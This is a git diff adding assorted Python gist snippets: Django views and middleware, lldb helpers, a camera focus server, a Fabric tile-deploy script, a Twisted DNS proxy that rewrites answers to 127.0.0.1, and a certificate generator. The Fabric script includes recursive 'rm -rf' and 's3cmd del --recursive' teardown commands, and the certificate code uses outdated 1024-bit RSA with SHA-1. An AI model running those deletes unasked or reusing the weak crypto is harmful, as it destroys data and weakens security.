+                self.moveToParam = [0,2,0]
+                self.returnState = self.focusFine
+                return
+
+        self.state = self.moveTo
+        self.moveToParam = [0,-1,0]
+
+        return
+
+    def focusFine(self):
+        currentFocus = estimateFocus("preview.jpg")
+        print "Fine {}: currently = {}".format(len(self.fineList), currentFocus)
+
+        self.fineList.append(currentFocus)
+
+        if (len(self.fineList) > 2):
+            if self.fineList[-1] < (0.99 * self.fineList[-2]):
+                self.state = self.moveTo
+                self.moveToParam = [1,0,0]
+                self.returnState = self.done
+                print "Done"
+                return
+
+        self.state = self.moveTo
+        self.moveToParam = [-1,0,0]
+
+    def done(self):
+        pass
+
+    def run(self):
+        self.state()
+
+
+
+
+
+class CamHandler(BaseHTTPRequestHandler):
+
+    def grabFrameAndDisplay(self):
+        frame = capture.preview_to_file("preview.jpg")
+        jpg = Image.open("preview.jpg")
+        w,h = jpg.size
+        box = (w/2 - 50, h/2 - 50, w/2 + 50, h/2 + 50)
+        draw = ImageDraw.Draw(jpg)
+        draw.rectangle(box, outline='red')
+        tmpFile = StringIO.StringIO()
+        jpg.save(tmpFile,'JPEG')
+        self.wfile.write("--jpgboundary")
+        self.send_header('Content-type','image/jpeg')
+        self.send_header('Content-length',str(tmpFile.len))
+        self.end_headers()
+        jpg.save(self.wfile,'JPEG')
+
+
+    def do_GET(self):
+        if self.path.endswith('.mjpg'):
+            self.send_response(200)
+            self.send_header('Content-type','multipart/x-mixed-replace; boundary=--jpgboundary')
+            self.end_headers()
+            focus = focusStateMachine()
+            while True:
+                try:
+                    self.grabFrameAndDisplay()
+                    focus.run()
+
+                except KeyboardInterrupt:
+                    break
+            return
+        if self.path.endswith('.html'):
+            self.send_response(200)
+            self.send_header('Content-type','text/html')
+            self.end_headers()
+            self.wfile.write('<html><head></head><body>')
+            self.wfile.write('<img src="cam.mjpg"/>')
+            self.wfile.write('</body></html>')
+            return
+
+def main():
+    global capture
+    capture = camera.Camera()
+    try:
+        server = HTTPServer(('',8084),CamHandler)
+        print "server started"
+        server.serve_forever()
+    except KeyboardInterrupt:
+        server.socket.close()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/11375647/._snippet.py b/hard-gists/11375647/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11375647/._snippet.py differ
diff --git a/hard-gists/11375647/snippet.py b/hard-gists/11375647/snippet.py
new file mode 100644
index 00000000..c7cebdf7
--- /dev/null
+++ b/hard-gists/11375647/snippet.py
@@ -0,0 +1,32 @@
+import lldb
+import commands
+
+
+def __lldb_init_module (debugger, dict):
+	debugger.HandleCommand('command script add -f LBRShortcut.window_description_command window_description')
+	debugger.HandleCommand('command script add -f LBRShortcut.json_data_command json_data')
+	debugger.HandleCommand('command script add -f LBRShortcut.fire_fault_command fire_fault')
+	
+def window_description_command(debbuger, command, result, dict):
+	debbuger.HandleCommand('expr UIApplication *$uiapp = [UIApplication sharedApplication]')
+	debbuger.HandleCommand('expr UIApplication *$kw = [$uiapp keyWindow]')
+	debbuger.HandleCommand('po [$kw recursiveDescription]')
+
+		
+def fire_fault_command(debugger, command, result, dict):
+	# command regex fire_fault 's/(.+)/po [%1 willAccessValueForKey:nil]/'
+    if len(command) == 0:
+        print "You need to specify the name of a variable"
+        return
+        
+    variable_arg = command
+    debugger.HandleCommand('expr [' + variable_arg +' willAccessValueForKey:nil]')
+
+	
+def json_data_command(debugger, command, result, dict):
+	if len(command) == 0:
+		print "You need to specify the name of a variable"
+		return
+
+	variable_arg = command
+	debugger.HandleCommand('po [NSJSONSerialization JSONObjectWithData:' + variable_arg +' options:0 error:nil]')
\ No newline at end of file
diff --git a/hard-gists/11378945/._snippet.py b/hard-gists/11378945/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11378945/._snippet.py differ
diff --git a/hard-gists/11378945/snippet.py b/hard-gists/11378945/snippet.py
new file mode 100644
index 00000000..79c8fee7
--- /dev/null
+++ b/hard-gists/11378945/snippet.py
@@ -0,0 +1,7 @@
+from django.db import connection
+
+# If using cursor without "with" -- it must be closed explicitly:
+with connection.cursor() as cursor:
+    cursor.execute('select column1, column2, column3 from table where aaa=%s', [5])
+    for row in cursor.fetchall():
+        print row[0], row[1], row[3]
diff --git a/hard-gists/1140136/._snippet.py b/hard-gists/1140136/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1140136/._snippet.py differ
diff --git a/hard-gists/1140136/snippet.py b/hard-gists/1140136/snippet.py
new file mode 100644
index 00000000..5c958296
--- /dev/null
+++ b/hard-gists/1140136/snippet.py
@@ -0,0 +1,84 @@
+#-*- coding: utf-8 -*-
+import urlparse
+from django.contrib.auth import REDIRECT_FIELD_NAME, login
+from django.contrib.auth.forms import AuthenticationForm
+from django.http import HttpResponseRedirect
+from django.utils.decorators import method_decorator
+from django.views.decorators.cache import never_cache
+from django.views.decorators.csrf import csrf_protect
+from django.views.generic.edit import FormView
+from django.conf import settings
+
+
+class LoginView(FormView):
+    """
+    This is a class based version of django.contrib.auth.views.login.
+
+    Usage:
+        in urls.py:
+            url(r'^login/$',
+                AuthenticationView.as_view(
+                    form_class=MyCustomAuthFormClass,
+                    success_url='/my/custom/success/url/),
+                name="login"),
+
+    """
+    form_class = AuthenticationForm
+    redirect_field_name = REDIRECT_FIELD_NAME
+    template_name = 'registration/login.html'
+
+    @method_decorator(csrf_protect)
+    @method_decorator(never_cache)
+    def dispatch(self, *args, **kwargs):
+        return super(LoginView, self).dispatch(*args, **kwargs)
+
+    def form_valid(self, form):
+        """
+        The user has provided valid credentials (this was checked in AuthenticationForm.is_valid()). So now we
+        can log him in.
+        """
+        login(self.request, form.get_user())
+        return HttpResponseRedirect(self.get_success_url())
+
+    def get_success_url(self):
+        if self.success_url:
+            redirect_to = self.success_url
+        else:
+            redirect_to = self.request.REQUEST.get(self.redirect_field_name, '')
+
+        netloc = urlparse.urlparse(redirect_to)[1]
+        if not redirect_to:
+            redirect_to = settings.LOGIN_REDIRECT_URL
+        # Security check -- don't allow redirection to a different host.
+        elif netloc and netloc != self.request.get_host():
+            redirect_to = settings.LOGIN_REDIRECT_URL
+        return redirect_to
+
+    def set_test_cookie(self):
+        self.request.session.set_test_cookie()
+
+    def check_and_delete_test_cookie(self):
+        if self.request.session.test_cookie_worked():
+            self.request.session.delete_test_cookie()
+            return True
+        return False
+
+    def get(self, request, *args, **kwargs):
+        """
+        Same as django.views.generic.edit.ProcessFormView.get(), but adds test cookie stuff
+        """
+        self.set_test_cookie()
+        return super(LoginView, self).get(request, *args, **kwargs)
+
+    def post(self, request, *args, **kwargs):
+        """
+        Same as django.views.generic.edit.ProcessFormView.post(), but adds test cookie stuff
+        """
+        form_class = self.get_form_class()
+        form = self.get_form(form_class)
+        if form.is_valid():
+            self.check_and_delete_test_cookie()
+            return self.form_valid(form)
+        else:
+            self.set_test_cookie()
+            return self.form_invalid(form)
diff --git a/hard-gists/1140516/._snippet.py b/hard-gists/1140516/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1140516/._snippet.py differ
diff --git a/hard-gists/1140516/snippet.py b/hard-gists/1140516/snippet.py
new file mode 100644
index 00000000..c78637db
--- /dev/null
+++ b/hard-gists/1140516/snippet.py
@@ -0,0 +1,31 @@
+from django.contrib.auth.models import User, SiteProfileNotAvailable
+from django.core.exceptions import ImproperlyConfigured
+from django.db import models
+from django.db.models.signals import post_init
+from django.dispatch.dispatcher import receiver
+
+
+@receiver(post_init, sender=User)
+def user_post_init(sender, instance, **kwargs):
+    def get_profile():
+        user = instance
+        if not hasattr(user, '_profile_cache'):
+            from django.conf import settings
+            if not getattr(settings, 'AUTH_PROFILE_MODULE', False):
+                raise SiteProfileNotAvailable('You need to set AUTH_PROFILE_MODULE in your project settings')
+            try:
+                app_label, model_name = settings.AUTH_PROFILE_MODULE.split('.')
+            except ValueError:
+                raise SiteProfileNotAvailable('app_label and model_name should be separated by a dot in the AUTH_PROFILE_MODULE setting')
+
+            try:
+                model = models.get_model(app_label, model_name)
+                if model is None:
+                    raise SiteProfileNotAvailable('Unable to load the profile model, check AUTH_PROFILE_MODULE in your project settings')
+                user._profile_cache, _ = model._default_manager.using(user._state.db).get_or_create(user=user)
+                user._profile_cache.user = user
+            except (ImportError, ImproperlyConfigured):
+                raise SiteProfileNotAvailable
+        return user._profile_cache
+
+    instance.get_profile = get_profile
diff --git a/hard-gists/11405336/._snippet.py b/hard-gists/11405336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11405336/._snippet.py differ
diff --git a/hard-gists/11405336/snippet.py b/hard-gists/11405336/snippet.py
new file mode 100644
index 00000000..0a397e8c
--- /dev/null
+++ b/hard-gists/11405336/snippet.py
@@ -0,0 +1,39 @@
+# encoding: utf8
+import sys
+
+from gi.repository import Gtk
+from gi.repository import Gio
+from gi.repository import Granite
+
+class Application(Gtk.Application):
+    def __init__(self):
+        Gtk.Application.__init__(self,
+            flags=Gio.ApplicationFlags.FLAGS_NONE)
+        self.license_type = Gtk.License.GPL_3_0
+
+    def do_activate(self):
+        self.window = Granite.WidgetsLightWindow.new("Tareas")
+        self.window.set_resizable(False)
+        self.window.set_keep_above(False)
+        self.window.set_position(Gtk.WindowPosition.CENTER)
+        self.window.set_size_request(350, 430)
+
+        welcome = Granite.WidgetsWelcome.new('No hay tareas', 'Excelente!')
+        self.window.add(welcome)
+
+        self.add_window(self.window)
+        self.window.show_all()
+
+    def do_startup(self):
+        Gtk.Application.do_startup(self)
+
+    def do_shutdown(self):
+        Gtk.Application.do_shutdown(self)
+
+    def on_quit(self, widget, data):
+        self.quit()
+
+
+if __name__ == '__main__':
+    application = Application()
+    application.run(None)
\ No newline at end of file
diff --git a/hard-gists/1142740/._snippet.py b/hard-gists/1142740/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1142740/._snippet.py differ
diff --git a/hard-gists/1142740/snippet.py b/hard-gists/1142740/snippet.py
new file mode 100644
index 00000000..0003d08b
--- /dev/null
+++ b/hard-gists/1142740/snippet.py
@@ -0,0 +1,219 @@
+import os
+import re
+
+from fabric.api import *
+import yaml
+
+"""
+Base configuration
+"""
+# Ubuntu
+if os.path.exists('/usr/share/tilemill'):
+    env.tilemill_path = '/usr/share/tilemill'
+    env.tilemill_projects = '/usr/share/mapbox/project'
+    env.node_path = '/usr/bin/node'
+# OSX
+else:
+    env.tilemill_path = '/Applications/TileMill.app/Contents/Resources'
+    env.tilemill_projects = '~/Documents/MapBox/project'
+    env.node_path = '%(tilemill_path)s/node' % env
+
+"""
+Environments
+"""
+def production():
+    """
+    Work on production environment
+    """
+    env.settings = 'production'
+    env.s3_buckets = ['media.apps.chicagotribune.com', 'maps1.tribapps.com', 'maps2.tribapps.com', 'maps3.tribapps.com', 'maps4.tribapps.com']
+    env.acl = 'acl-public'
+
+def staging():
+    """
+    Work on staging environment
+    """
+    env.settings = 'staging'
+    env.s3_buckets = ['media-beta.tribapps.com']
+    env.acl = 'acl-private'
+
+def map(name):
+    """
+    Select map to work on.
+    """
+    env.map = name
+
+"""
+Commands - deployment
+"""
+def _deploy_to_s3(concurrency):
+    """
+    Deploy tiles to S3.
+    """
+    env.concurrency = concurrency
+
+    # Deploy to many buckets (multi-dns-head mode)
+    for bucket in env.s3_buckets:
+        env.s3_bucket = bucket    
+        local('ivs3 %(map)s/tiles %(s3_bucket)s/%(project_name)s/%(map)s --%(acl)s -c %(concurrency)s' % env)
+
+def deploy(concurrency=32):
+    """
+    Deploy a map. Optionally takes a concurrency parameter indicating how many files to upload simultaneously.
+    """
+    require('settings', provided_by=[production, staging])
+    require('map', provided_by=[map])
+    
+    _deploy_to_s3(concurrency)
+
+def deploy_browser():
+    """Update and deploy the browser.html file."""
+    require('settings', provided_by=[production, staging])
+    local("./make_layer_selector.py")
+    local('s3cmd -P --guess-mime-type put browser.html s3://%(s3_bucket)s/%(project_name)s/browser.html' % env)
+    local('s3cmd -P --guess-mime-type put logo.png s3://%(s3_bucket)s/%(project_name)s/logo.png' % env)
+
+"""
+Commands - processing
+"""
+def _update_config_from_tilemill():
+    """
+    Copy the latest configuration from TileMill to the local directory.
+    """
+    if not os.path.exists('%(map)s' % env):
+        os.mkdir('%(map)s' % env)
+
+    local('cp %(tilemill_projects)s/%(map)s/*.mss %(map)s' % env)
+    local('cp %(tilemill_projects)s/%(map)s/*.mml %(map)s' % env)
+
+def _update_config_from_project():
+    """
+    Copy the latest configuration to TileMill from the local directory.
+    """
+    if not os.path.exists('%(tilemill_projects)s/%(map)s/' % env):
+        os.mkdir(os.path.expanduser('%(tilemill_projects)s/%(map)s/' % env))
+
+    local('cp %(map)s/*.mss %(tilemill_projects)s/%(map)s/' % env)
+    local('cp %(map)s/*.mml %(tilemill_projects)s/%(map)s/' % env)
+    
+def _rewrite_paths():
+    """
+    Rewrite carto configuration so that shapefile references point to the local shapefiles directory.
+    """
+    contents = None 
+
+    with open('%(map)s/%(map)s.mml' % env, 'r') as f:
+        contents = f.read()
+
+    shapefile_path = os.path.join('..', 'shapefiles')
+    contents = re.sub('(?<=file"\:\s")(.*)(?=/.*/.*.shp")', shapefile_path, contents) 
+
+    with open('%(map)s/%(map)s.mml' % env, 'w') as f:
+        f.write(contents)
+
+def _carto_to_mapnik():
+    """
+    Convert carto styles to mapnik configuration.
+    """
+    # Convert tilemill config to mapnik config
+    local('%(tilemill_path)s/node_modules/carto/bin/carto %(map)s/%(map)s.mml > %(map)s/%(map)s.xml' % env)
+
+    # Remove cruft
+    local('rm -rf %(map)s/layers' % env)
+
+def _render_tiles(process_count):
+    """
+    Only render a tile map (does not update configuration).
+    """
+    env.process_count = process_count
+
+    # Fetch configuration from yaml file
+    with open('%(map)s/config.yml' % env, 'r') as f:
+        config = yaml.load(f)
+
+    env.update(config)
+
+    command = 'ivtile %(map)s/%(map)s.xml %(map)s/tiles %(max-latitude)s %(min-longitude)s %(min-latitude)s %(max-longitude)s %(min-zoom)s %(max-zoom)s -p %(process_count)s'
+
+    if 'buffer' in config:
+        command += ' -b %(buffer)s'
+
+    # Render tiles
+    local(command % env)
+
+def setup():
+    """
+    Run the setup script for a given map.
+    """
+    require('map', provided_by=[map])
+    
+    with lcd('%(map)s' % env):
+        local('bash setup.sh',capture=False)
+
+def sync():
+    """
+    Update configuration from the project.
+    """
+    require('map', provided_by=[map])
+
+    _update_config_from_project()
+
+def update():
+    """
+    Update configuration from TileMill.
+    """
+    require('map', provided_by=[map])
+
+    _update_config_from_tilemill()
+    _rewrite_paths()
+    _carto_to_mapnik()
+
+def render(process_count=1):
+    """
+    Updates configuration and renders a tile map.
+    """
+    require('map', provided_by=[map])
+
+    update()
+    _render_tiles(process_count)
+
+def mbtiles():
+    """
+    Uses TileMill to export an mbtiles file for a map (for generating grid files).
+    """
+    require('map', provided_by=[map])
+    
+    with open('%(map)s/config.yml' % env, 'r') as f:
+        config = yaml.load(f)
+
+    env.update(config)
+
+    with settings(warn_only=True):
+        local('rm -rf %(map)s/*.mbtiles' % env)
+
+    local('%(node_path)s %(tilemill_path)s/index.js export --minzoom=%(min-zoom)s --maxzoom=%(max-zoom)s --bbox=%(min-longitude)s,%(min-latitude)s,%(max-longitude)s,%(max-latitude)s %(map)s %(map)s/%(map)s.mbtiles' % env)
+
+def grid():
+    """
+    Render to mbtiles then extract the grid.
+    """
+    require('map', provided_by=[map])
+
+    mbtiles()
+    
+    with settings(warn_only=True):
+        local('rm -rf %(map)s/tiles' % env)
+
+    local('/Users/sk/src/mbutil/mb-util %(map)s/%(map)s.mbtiles %(map)s/tmp-tiles' % env)
+    local('mv %(map)s/tmp-tiles/1.0.0/%(map)s %(map)s/tiles' % env)
+    local('rm -rf %(map)s/tmp-tiles' % env)
+
+"""
+Deaths, destroyers of worlds
+"""
+def shiva_the_destroyer():
+    """
+    Remove all directories, databases, etc. associated with the application.
+    """
+    with settings(warn_only=True):
+        local('s3cmd del --recursive s3://%(s3_bucket)s/%(project_name)s' % env)
diff --git a/hard-gists/1147973/._snippet.py b/hard-gists/1147973/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1147973/._snippet.py differ
diff --git a/hard-gists/1147973/snippet.py b/hard-gists/1147973/snippet.py
new file mode 100644
index 00000000..590db2e4
--- /dev/null
+++ b/hard-gists/1147973/snippet.py
@@ -0,0 +1,42 @@
+# http://notmysock.org/blog/hacks/a-twisted-dns-story.html
+# http://blog.inneoin.org/2009/11/i-used-twisted-to-create-dns-server.html
+# twistd -y dns.py
+import socket
+
+from twisted.internet.protocol import Factory, Protocol
+from twisted.internet import reactor
+from twisted.names import dns
+from twisted.names import client, server
+
+
+CHANGE = 'example.com'
+TO = '127.0.0.1'
+TTL = 60
+
+class DNSServerFactory(server.DNSServerFactory):
+    def gotResolverResponse(self, (ans, auth, add), protocol, message, address):
+        qname = message.queries[0].name.name
+        if CHANGE in qname:
+            for answer in ans:
+                if answer.type != dns.A:
+                    continue
+                if CHANGE not in answer.name.name:
+                    continue
+                
+                answer.payload.address = socket.inet_aton(TO)
+                answer.payload.ttl = TTL
+
+        args = (self, (ans, auth, add), protocol, message, address)
+        return server.DNSServerFactory.gotResolverResponse(*args)
+
+
+verbosity = 0
+
+resolver = client.Resolver(servers=[('4.2.2.2', 53)])
+factory = DNSServerFactory(clients=[resolver], verbose=verbosity)
+protocol = dns.DNSDatagramProtocol(factory)
+factory.noisy = protocol.noisy = verbosity
+
+reactor.listenUDP(53, protocol)
+reactor.listenTCP(53, factory)
+reactor.run()
\ No newline at end of file
diff --git a/hard-gists/11526013/._snippet.py b/hard-gists/11526013/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11526013/._snippet.py differ
diff --git a/hard-gists/11526013/snippet.py b/hard-gists/11526013/snippet.py
new file mode 100644
index 00000000..ec1a258b
--- /dev/null
+++ b/hard-gists/11526013/snippet.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python
+
+import subprocess
+
+import itertools
+import sys
+
+from south.migration import all_migrations
+from south.models import MigrationHistory
+
+def get_migrations():
+	from multiprocessing import Process, Queue
+	queue = Queue()
+	p = Process(target=get_migrations_task, args=(queue,))
+	p.start()
+	p.join()
+	return queue.get()
+
+def get_migrations_task(queue):
+	from collections import defaultdict
+	southified_apps = list(all_migrations())
+	available_migrations = defaultdict(list)
+	for migration in itertools.chain.from_iterable(southified_apps):
+		available_migrations[migration.app_label()].append(get_migration_location(migration))
+	
+	applied_migrations = defaultdict(list)
+	for history in MigrationHistory.objects.filter(app_name__in=[app.app_label() for app in southified_apps]).order_by('migration'):
+		migration = history.get_migration()
+		applied_migrations[migration.app_label()].append(get_migration_location(migration))
+	queue.put((dict(available_migrations), dict(applied_migrations)))
+
+def get_migration_location(migration):
+	return migration.name()
+
+def get_current_branch():
+	return subprocess.check_output(["git", "rev-parse", "--abbrev-ref", "HEAD"]).strip()
+
+def checkout(branch):
+	subprocess.check_call(["git",  "checkout", "%s" % branch])
+
+def migrate(app, migration):
+	subprocess.check_call(["./manage.py", "migrate", app, migration])
+
+def migrate_all():
+	subprocess.check_call(["./manage.py", "migrate"])
+
+def migrate_branch(target='main', source=None):
+	from collections import defaultdict
+	if not source:
+		source = get_current_branch()
+	checkout(target)
+	dest_avail, dest_applied = get_migrations()
+	checkout(source)
+	source_avail, source_applied = get_migrations()
+	
+	rollbacks = defaultdict(list)
+	for app, migrations in source_applied.items():
+		if app not in dest_avail:
+			rollbacks[app].extend(migrations)
+			continue
+		for migration in migrations:
+			if migration not in dest_avail[app]:
+				rollbacks[app].append(migration)
+	for app in rollbacks.keys():
+		migration = dest_avail.get(app, [None])[-1]
+		if not migration:
+			continue
+		migrate(app, migration)
+	checkout(target)
+	migrate_all()
+
+if __name__ == '__main__':
+	target = sys.argv[1]
+	source = None
+	if len(sys.argv) > 2:
+		source = sys.argv[2]
+	migrate_branch(target, source)
\ No newline at end of file
diff --git a/hard-gists/11538913/._snippet.py b/hard-gists/11538913/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11538913/._snippet.py differ
diff --git a/hard-gists/11538913/snippet.py b/hard-gists/11538913/snippet.py
new file mode 100644
index 00000000..0c5f263f
--- /dev/null
+++ b/hard-gists/11538913/snippet.py
@@ -0,0 +1,6 @@
+import chimera
+from DockPrep import prep
+models = chimera.openModels.list(modelTypes=[chimera.Molecule])
+prep(models)
+from WriteMol2 import writeMol2
+writeMol2(models, "dp.mol2")
\ No newline at end of file
diff --git a/hard-gists/1160201/._snippet.py b/hard-gists/1160201/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1160201/._snippet.py differ
diff --git a/hard-gists/1160201/snippet.py b/hard-gists/1160201/snippet.py
new file mode 100644
index 00000000..84a8f4b3
--- /dev/null
+++ b/hard-gists/1160201/snippet.py
@@ -0,0 +1,75 @@
+import re
+from django import template
+from django.utils.functional import allow_lazy
+from django.template.defaultfilters import stringfilter
+from django.utils.safestring import mark_safe, SafeData
+from django.utils.encoding import force_unicode
+from django.utils.html import escape
+from django.utils.text import normalize_newlines
+register = template.Library()
+
+def linebreaks_wp(pee, autoescape=False):
+    """Straight up port of http://codex.wordpress.org/Function_Reference/wpautop"""
+    if (pee.strip() == ""):
+        return ""
+    pee = normalize_newlines(pee)
+    pee = pee + "\n"
+    pee = re.sub(r'<br />\s*<br />', "\n\n", pee)
+    allblocks = r'(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|option|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)'
+    pee = re.sub(r'(<' + allblocks + '[^>]*>)', lambda m: "\n"+m.group(1) if m.group(1) else "\n", pee)
+    pee = re.sub(r'(</' + allblocks + '>)', lambda m: m.group(1)+"\n\n" if m.group(1) else "\n\n", pee)
+    #pee = pee.replace("\r\n", "\n")
+    #pee = pee.replace("\r", "\n") #these taken care of by normalize_newlines
+    if (pee.find("<object") != -1):
+        pee = re.sub(r'\s*<param([^>]*)>\s*', lambda m: "<param%s>" % (m.group(1) if m.group(1) else "", ), pee) # no pee inside object/embed
+        pee = re.sub(r'\s*</embed>\s*', '</embed>', pee)
+    pee = re.sub(r"\n\n+", "\n\n", pee) # take care of duplicates
+    pees = re.split(r'\n\s*\n', pee) # since PHP has a PREG_SPLIT_NO_EMPTY, may need to go through and drop any empty strings
+    #pees = [p for p in pees if p]
+    pee = "".join(["<p>%s</p>\n" % tinkle.strip('\n') for tinkle in pees])
+    pee = re.sub(r'<p>\s*</p>', '', pee) #under certain strange conditions it could create a P of entirely whitespace
+    pee = re.sub(r'<p>([^<]+)</(div|address|form)>', lambda m: "<p>%s</p></%s>" % ((lambda x: x.group(1) if x.group(1) else "")(m), (lambda x: x.group(2) if x.group(2) else "")(m), ), pee)
+    pee = re.sub(r'<p>\s*(</?' + allblocks + r'[^>]*>)\s*</p>', lambda m: m.group(1) if m.group(1) else "", pee) # don't pee all over a tag
+    pee = re.sub(r"<p>(<li.+?)</p>", lambda m: m.group(1) if m.group(1) else "", pee) # problem with nested lists
+    pee = re.sub(r'<p><blockquote([^>]*)>', lambda m: "<blockquote%s><p>" % (m.group(1) if m.group(1) else "",), pee, flags=re.IGNORECASE)
+    pee = pee.replace('</blockquote></p>', '</p></blockquote>')
+    pee = re.sub(r'<p>\s*(</?' + allblocks + r'[^>]*>)', lambda m: m.group(1) if m.group(1) else "", pee)
+    pee = re.sub(r'(</?' + allblocks + '[^>]*>)\s*</p>', lambda m: m.group(1) if m.group(1) else "", pee)
+
+    def _autop_newline_preservation_helper(matches):
+        return matches.group(0).replace("\n", "<WPPreserveNewline />")
+    pee = re.sub(r'<(script|style).*?</\1>', _autop_newline_preservation_helper, pee, flags=re.DOTALL)
+    pee = re.sub(r'(?<!<br />)\s*\n', "<br />\n", pee) # make line breaks
+    pee = pee.replace('<WPPreserveNewline />', "\n")
+
+    pee = re.sub(r'(</?' + allblocks + '[^>]*>)\s*<br />', lambda m: m.group(1) if m.group(1) else "", pee)
+    pee = re.sub(r'<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)', lambda m: m.group(1) if m.group(1) else "", pee)
+    if (pee.find('<pre') != -1):
+        def clean_pre(m):
+            if m.group(1) and m.group(2):
+                text = m.group(2)
+                text = text.replace('<br />', '')
+                text = text.replace('<p>', "\n")
+                text = text.replace('</p>', '')
+                text = m.group(1)+escape(text)+"</pre>"
+            else:
+                text = m.group(0)
+                text = text.replace('<br />', '')
+                text = text.replace('<p>', "\n")
+                text = text.replace('</p>', '')
+
+            return text
+        pee = re.sub('(?is)(<pre[^>]*>)(.*?)</pre>', clean_pre, pee)
+    pee = re.sub( r"\n</p>$", '</p>', pee)
+    return pee
+linebreaks_wp = allow_lazy(linebreaks_wp, unicode)
+
+@register.filter("linebreaks_wp")
+@stringfilter
+def linebreaks_wp_filter(value, autoescape=None):
+    """Straight up port of http://codex.wordpress.org/Function_Reference/wpautop"""
+    autoescape = autoescape and not isinstance(value, SafeData)
+    return mark_safe(linebreaks_wp(value, autoescape))
+linebreaks_wp_filter.is_safe = True
+linebreaks_wp_filter.needs_autoescape = True
+linebreaks_wp = stringfilter(linebreaks_wp)
diff --git a/hard-gists/1160696/._snippet.py b/hard-gists/1160696/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1160696/._snippet.py differ
diff --git a/hard-gists/1160696/snippet.py b/hard-gists/1160696/snippet.py
new file mode 100644
index 00000000..54c26367
--- /dev/null
+++ b/hard-gists/1160696/snippet.py
@@ -0,0 +1,22 @@
+import base64
+from myapplication import app
+
+class MyTestCase(unittest.TestCase):
+    def setUp(self):    
+        self.app = app.test_client()
+    
+    def tearDown(self):
+        pass
+
+    def open_with_auth(self, url, method, username, password):
+        return self.app.open(url,
+            method=method,
+            headers={
+                'Authorization': 'Basic ' + base64.b64encode(username + \
+                ":" + password)
+            }
+        )
+        
+    def test_login(self):
+        res = self.open_with_auth('/user/login', 'GET', 'username',
+                                  'password')
\ No newline at end of file
diff --git a/hard-gists/1161423/._snippet.py b/hard-gists/1161423/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1161423/._snippet.py differ
diff --git a/hard-gists/1161423/snippet.py b/hard-gists/1161423/snippet.py
new file mode 100644
index 00000000..dcf21b8a
--- /dev/null
+++ b/hard-gists/1161423/snippet.py
@@ -0,0 +1,30 @@
+from django.http import QueryDict
+from django.http.multipartparser import MultiValueDict
+
+class RESTMiddleware(object):
+    def process_request(self,request):
+        request.PUT=QueryDict('')
+        request.DELETE = QueryDict('')
+        method = request.META.get('REQUEST_METHOD','').upper() #upper ? rly?
+        if method == 'PUT':
+            self.handle_PUT(request)
+        elif method == 'DELETE':
+            self.handle_DELETE(request)
+
+    def handle_DELETE(self,request):
+        request.DELETE, request._files = self.parse_request(request)
+    
+    def handle_PUT(self,request):
+        request.PUT,request._files  =   self.parse_request(request)
+    
+    def parse_request(self,request):
+        if request.META.get('CONTENT_TYPE', '').startswith('multipart'):
+            return self.parse_multipart(request)
+        else:
+            return (self.parse_form(request), MultiValueDict())
+    
+    def parse_form(self,request):
+        return QueryDict(request.raw_post_data)
+    
+    def parse_multipart(self,request):
+        return request.parse_file_upload(request.META,request)
\ No newline at end of file
diff --git a/hard-gists/1165038/._snippet.py b/hard-gists/1165038/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1165038/._snippet.py differ
diff --git a/hard-gists/1165038/snippet.py b/hard-gists/1165038/snippet.py
new file mode 100644
index 00000000..cde5023e
--- /dev/null
+++ b/hard-gists/1165038/snippet.py
@@ -0,0 +1,45 @@
+#!/usr/bin/python
+
+from OpenSSL import crypto, SSL
+from socket import gethostname
+from pprint import pprint
+from time import gmtime, mktime
+from os.path import exists, join
+
+CERT_FILE = "myapp.crt"
+KEY_FILE = "myapp.key"
+
+def create_self_signed_cert(cert_dir):
+    """
+    If datacard.crt and datacard.key don't exist in cert_dir, create a new
+    self-signed cert and keypair and write them into that directory.
+    """
+
+    if not exists(join(cert_dir, CERT_FILE)) \
+            or not exists(join(cert_dir, KEY_FILE)):
+
+        # create a key pair
+        k = crypto.PKey()
+        k.generate_key(crypto.TYPE_RSA, 1024)
+
+        # create a self-signed cert
+        cert = crypto.X509()
+        cert.get_subject().C = "US"
+        cert.get_subject().ST = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+        cert.get_subject().L = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
+        cert.get_subject().O = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
+        cert.get_subject().OU = "my organization"
+        cert.get_subject().CN = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
+        cert.set_serial_number(1000)
+        cert.gmtime_adj_notBefore(0)
+        cert.gmtime_adj_notAfter(10*365*24*60*60)
+        cert.set_issuer(cert.get_subject())
+        cert.set_pubkey(k)
+        cert.sign(k, 'sha1')
+
+        open(join(cert_dir, CERT_FILE), "wt").write(
+            crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
+        open(join(cert_dir, KEY_FILE), "wt").write(
+            crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
+        
+create_self_signed_cert(".")
\ No newline at end of file
diff --git a/hard-gists/1165344/._snippet.py b/hard-gists/1165344/._snippet.py
new file mode 100644
index 00000000..cd8af967
